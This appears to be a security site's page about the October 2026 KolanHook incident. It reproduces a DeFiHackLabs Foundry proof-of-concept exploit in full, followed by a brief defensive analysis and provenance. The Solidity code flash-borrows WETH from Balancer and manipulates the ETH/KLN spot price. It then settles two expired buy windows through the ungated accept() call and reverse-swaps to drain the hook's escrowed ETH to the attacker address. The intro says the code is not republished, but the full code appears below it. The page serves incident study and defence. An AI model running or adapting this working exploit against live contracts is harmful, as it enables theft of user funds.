Public reproduction file
src/test/2026-10/KolanHook_exp.sol
Public reproduction listed for "KolanHook: an unbounded buyback settled at a manipulated spot price". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.20;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1.279453 ETH (attacker EOA net, after gas)8// Attacker : 0x8df735014eab81905e76b87ef0c069bd8e0ae3829// Attack Contract : 0x4d6a41f2B80FE75FacF27F9D0b3DC8bd0EBC835f (Balancer flash-loan recipient / helper)10// Vulnerable : 0x0136fecf49e0217bfd2d9551e8e7b05f174ba8ec (KolanHook, Uniswap v4 hook)11// Attack Tx : https://etherscan.io/tx/0x7b131926e6f06491ae1aead3e419b208c8aa70ed7898e8c5a33d9f52e40915a912// Chain : Ethereum mainnet, 2026-10-15 (attack block 26197504, fork at parent 26197503)14// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x0136fecf49e0217bfd2d9551e8e7b05f174ba8ec#code16// KolanHook is verified on Etherscan (solc 0.8.26, non-proxy). All logic below is read from that source.18// @Analysis19// KolanHook escrows ETH-funded "buy windows" in the single ETH/KLN Uniswap v4 pool it owns. A window20// can be settled with accept(id). The settlement price comes from the SAME pool's instantaneous spot21// price, with no manipulation guard, and the three facts below were each confirmed against the verified22// source:23//24// 1. accept(id) is ungated once a window has expired. The only guard is25// if (msg.sender != w.owner && block.timestamp < w.expiry) revert WindowStillOpen();26// so after w.expiry ANY address may settle a window it does not own. No keeper/owner/role gate.27//28// 2. _closeWindow() trusts live spot price and runs an unbounded buy-back.29// uint160 sqrtPrice = _sqrtPrice(); // == POOL_MANAGER.getSlot0(_poolId()), live spot30// backInPlace = keep ? sqrtPrice <= getSqrtPriceAtTick(lower) : sqrtPrice >= getSqrtPriceAtTick(upper);31// accept() passes keep=true. When spot is pushed so the window is NOT "backInPlace", the escrowed32// ETH is re-injected as single-sided liquidity around the manipulated price via _addEthAbove(), and33// if (spendable > 0) _buyBack(spendable);34// swaps that ETH with sqrtPriceLimitX96 = TickMath.MIN_SQRT_PRICE + 1, i.e. no price bound. No TWAP,35// no observation, no slippage guard anywhere in the settlement path.36//37// 3. The whole sequence is permissionless. The attacker is a plain EOA driving its own helper contract,38// which was itself deployed inside the attack transaction. Flash loan, spot move, accept() and the39// reverse swap are all reachable with no privileged caller, signature or admin step.40//41// Reconstruction (own helper, real typed calls, NOT bytecode/calldata replay):42// a. Flash-borrow 6.7 WETH from the Balancer Vault (fee 0) and unwrap to ETH.43// b. Under one PoolManager.unlock, swap 6.7 ETH -> KLN (zeroForOne, exact-in) to move the pool spot.44// c. accept(10) and accept(42) on the two real pre-existing expired windows. They settle at the moved45// spot; window 42 is no longer "backInPlace" so its escrowed ETH is mispositioned into the pool.46// d. Under a second unlock, reverse-swap the whole KLN balance back to ETH through that freshly placed47// ETH liquidity, taking out 7.979914429958618589 ETH.48// e. Re-wrap 6.7 WETH and repay the Balancer loan in full, so the loan nets to zero.49//50// The two windows and their escrowed ETH are legitimate pre-existing fork state:51// window 10 : owner 0x4BBA7DcE..., expiry 1791494951, eth 2.0 + premium 0.0552// window 42 : owner 0x43B6bf2E..., expiry 1791670463, eth 0.2 + premium 0.05986111153// Both expired long before the fork timestamp (1792062359). KolanHook held 2.309861 ETH total and was54// fully drained.55//56// Profit accounting: on-chain the reverse swap took out 7.979914429958618589 ETH, leaving a57// 7.979914.. - 6.7 = 1.279914429958618589 ETH surplus after repayment, and the attacker EOA's real net58// balance delta was 1.279453 ETH (that surplus minus ~0.00046 ETH of gas). This PoC forks at the parent59// block exactly as the brief requires, so the pool is one block behind the attacker's position inside60// block 26197504; the reconstructed surplus is therefore ~1.2805 ETH rather than the exact on-chain61// 1.279914.. (a sub-0.001 ETH intra-block drift). forge does not debit gas from balances. The test62// asserts the headline 1.279453 ETH net within a 0.0015 ETH band and that the surplus is at least that.64address constant ATTACKER = 0x8df735014EaB81905E76B87Ef0c069BD8e0Ae382;65address constant TRACE_HELPER = 0x4d6a41f2B80FE75FacF27F9D0b3DC8bd0EBC835f;66address constant KOLAN_HOOK = 0x0136feCf49E0217BFd2D9551E8e7b05f174Ba8eC;67address constant POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;68address constant KLN = 0x2CADc4F2660Bb77a118b0e74fC9E48E935b3a1bF;69address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;70address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;72// Uniswap v4 rejects price limits equal to TickMath's min/max bounds, so use bound +/- 1.73uint160 constant V4_MIN_USABLE_SQRT_PRICE = 4_295_128_740;74uint160 constant V4_MAX_USABLE_SQRT_PRICE = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;76uint256 constant WINDOW_A = 10;77uint256 constant WINDOW_B = 42;78uint256 constant FLASH_AMOUNT = 6.7 ether;80struct PoolKey {81 address currency0;82 address currency1;83 uint24 fee;84 int24 tickSpacing;85 address hooks;86}88struct SwapParams {89 bool zeroForOne;90 int256 amountSpecified;91 uint160 sqrtPriceLimitX96;92}94interface IUniswapV4PoolManager {95 function unlock(96 bytes calldata data97 ) external returns (bytes memory);98 function swap(99 PoolKey memory key,100 SwapParams memory params,101 bytes calldata hookData102 ) external returns (int256);103 function settle() external payable returns (uint256);104 function sync(105 address currency106 ) external;107 function take(address currency, address to, uint256 amount) external;108}110interface IKolanBalancerVault {111 function flashLoan(112 address recipient,113 address[] memory tokens,114 uint256[] memory amounts,115 bytes memory userData116 ) external;117}119interface IKolanHook {120 function accept(121 uint256 id122 ) external;123}125interface IWETH9 {126 function deposit() external payable;127 function withdraw(128 uint256 wad129 ) external;130 function transfer(address dst, uint256 wad) external returns (bool);131 function balanceOf(132 address133 ) external view returns (uint256);134}136contract ContractTest is BaseTestWithBalanceLog {137 // Public archive endpoint (same style as the other recent mainnet PoCs in this repo).138 string internal constant MAINNET_ARCHIVE = "https://eth.drpc.org";139 uint256 internal constant ATTACK_BLOCK = 26_197_504;141 function setUp() public {142 vm.createSelectFork(MAINNET_ARCHIVE, ATTACK_BLOCK - 1);144 attacker = ATTACKER;146 vm.label(ATTACKER, "Attacker / Profit Receiver");147 vm.label(TRACE_HELPER, "Trace Attack Contract");148 vm.label(KOLAN_HOOK, "KolanHook");149 vm.label(POOL_MANAGER, "Uniswap V4 PoolManager");150 vm.label(BALANCER_VAULT, "Balancer Vault");151 vm.label(KLN, "KLN");152 vm.label(WETH_ADDR, "WETH");153 }155 function testExploit() public balanceLog {156 // A fresh helper; the trace helper was likewise created inside the attack transaction.157 KolanHookExploit exploit = new KolanHookExploit();158 exploit.attack();160 uint256 profit = ATTACKER.balance;161 // On-chain the attacker EOA netted 1.279453 ETH (surplus 1.279914.. minus ~0.00046 ETH gas).162 // The parent-block fork reconstructs ~1.2805 ETH of surplus (see the accounting note in the header).163 assertGe(profit, 1.279453 ether, "net ETH gain below on-chain figure");164 assertApproxEqAbs(profit, 1.279453 ether, 0.0015 ether, "net ETH gain != 1.279453 ETH");165 }166}168contract KolanHookExploit {169 IUniswapV4PoolManager private constant MANAGER = IUniswapV4PoolManager(POOL_MANAGER);170 IKolanBalancerVault private constant VAULT = IKolanBalancerVault(BALANCER_VAULT);171 IKolanHook private constant HOOK = IKolanHook(KOLAN_HOOK);172 IWETH9 private constant WETH9 = IWETH9(WETH_ADDR);174 PoolKey private poolKey =175 PoolKey({currency0: address(0), currency1: KLN, fee: 0, tickSpacing: 10, hooks: KOLAN_HOOK});177 function attack() external {178 address[] memory tokens = new address[](1);179 tokens[0] = WETH_ADDR;180 uint256[] memory amounts = new uint256[](1);181 amounts[0] = FLASH_AMOUNT;182 VAULT.flashLoan(address(this), tokens, amounts, "");183 }185 function receiveFlashLoan(186 address[] memory, /*tokens*/187 uint256[] memory, /*amounts*/188 uint256[] memory, /*feeAmounts*/189 bytes memory /*userData*/190 ) external {191 require(msg.sender == BALANCER_VAULT, "only vault");193 // Unwrap the borrowed WETH so it can be settled as native ETH into the v4 pool.194 WETH9.withdraw(FLASH_AMOUNT);196 // Phase 0: move the ETH/KLN spot price by buying KLN with the full 6.7 ETH.197 MANAGER.unlock(abi.encode(uint256(0)));199 // Settle the two expired windows at the manipulated spot. accept() is ungated post-expiry and200 // passes keep=true; window 42 is no longer "backInPlace" and its escrowed ETH is mispositioned.201 HOOK.accept(WINDOW_A);202 HOOK.accept(WINDOW_B);204 // Phase 1: reverse the whole KLN position back to ETH through the freshly placed ETH liquidity.205 MANAGER.unlock(abi.encode(uint256(1)));207 // Repay the flash loan in full (Balancer fee is 0), so the loan nets to zero.208 WETH9.deposit{value: FLASH_AMOUNT}();209 WETH9.transfer(BALANCER_VAULT, FLASH_AMOUNT);211 // Forward the ETH surplus to the attacker EOA.212 (bool ok,) = ATTACKER.call{value: address(this).balance}("");213 require(ok, "forward failed");214 }216 function unlockCallback(217 bytes calldata data218 ) external returns (bytes memory) {219 require(msg.sender == POOL_MANAGER, "only PoolManager");220 uint256 phase = abi.decode(data, (uint256));222 if (phase == 0) {223 // Exact-in 6.7 ETH -> KLN. Owe ETH (delta0 < 0), receive KLN (delta1 > 0).224 int256 packed = MANAGER.swap(225 poolKey,226 SwapParams({227 zeroForOne: true,228 amountSpecified: -int256(FLASH_AMOUNT),229 sqrtPriceLimitX96: V4_MIN_USABLE_SQRT_PRICE230 }),231 ""232 );233 int128 delta0 = int128(packed >> 128);234 int128 delta1 = int128(packed);235 MANAGER.settle{value: uint256(uint128(-delta0))}();236 MANAGER.take(KLN, address(this), uint256(uint128(delta1)));237 } else {238 // Exact-in all KLN -> ETH. Owe KLN (delta1 < 0), receive ETH (delta0 > 0).239 uint256 klnBalance = IERC20(KLN).balanceOf(address(this));240 int256 packed = MANAGER.swap(241 poolKey,242 SwapParams({243 zeroForOne: false,244 amountSpecified: -int256(klnBalance),245 sqrtPriceLimitX96: V4_MAX_USABLE_SQRT_PRICE246 }),247 ""248 );249 int128 delta0 = int128(packed >> 128);250 int128 delta1 = int128(packed);251 MANAGER.sync(KLN);252 IERC20(KLN).transfer(POOL_MANAGER, uint256(uint128(-delta1)));253 MANAGER.settle();254 MANAGER.take(address(0), address(this), uint256(uint128(delta0)));255 }256 return "";257 }259 receive() external payable {}260}Analysis
What the file is
A Foundry test that reconstructs the 15 October 2026 KolanHook buyback manipulation on an Ethereum fork one block before the real transaction. It targets live contracts and is not republished.
How it is built
It declares narrow interfaces for the Uniswap v4 pool manager (unlock, swap, settle, sync, take), a Balancer-style flash-loan vault, the hook's accept call and WETH. An attacker contract has an entry function, a flash-loan callback and a pool-manager unlock callback. The test inherits the dataset's balance-logging base contract.
What the test checks
It asserts a net gain of about 1.279453 ETH within a 0.0015 ETH band. Our record keeps the on-chain figure of 1.279914 ETH next to that reconstruction and explains that the hook's outflow (2.31 ETH) and the attacker's net gain measure different things.
Why it matters for defenders
Independent analyses say accept() could be called by anyone once a window had expired, and that the buyback used the pool's own instantaneous price with no bound; the flash loan moves that price first. Bound the price a hook may trade at and use time-weighted references.
Our analysis, loss and remediation are in the incident record.
Contracts and transactions from the incident
- 0x0136fecf…4ba8ec KolanHook (affected)
- 0x7b131926…0915a9 attack
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
File record
- Name
- KolanHook_exp.sol
- Path
- src/test/2026-10/KolanHook_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 413e3c6f72e6d81bc97c991048a0fa09d48828f0
- Language
- Solidity
- Size
- 261 lines
- Date
- 2026-10-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
- Incident
- KolanHook: an unbounded buyback settled at a manipulated spot price
- Protocols
- Kolan
- Chains
- Ethereum
Provenance
Path src/test/2026-10/KolanHook_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 413e3c6f72e6d81bc97c991048a0fa09d48828f0, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.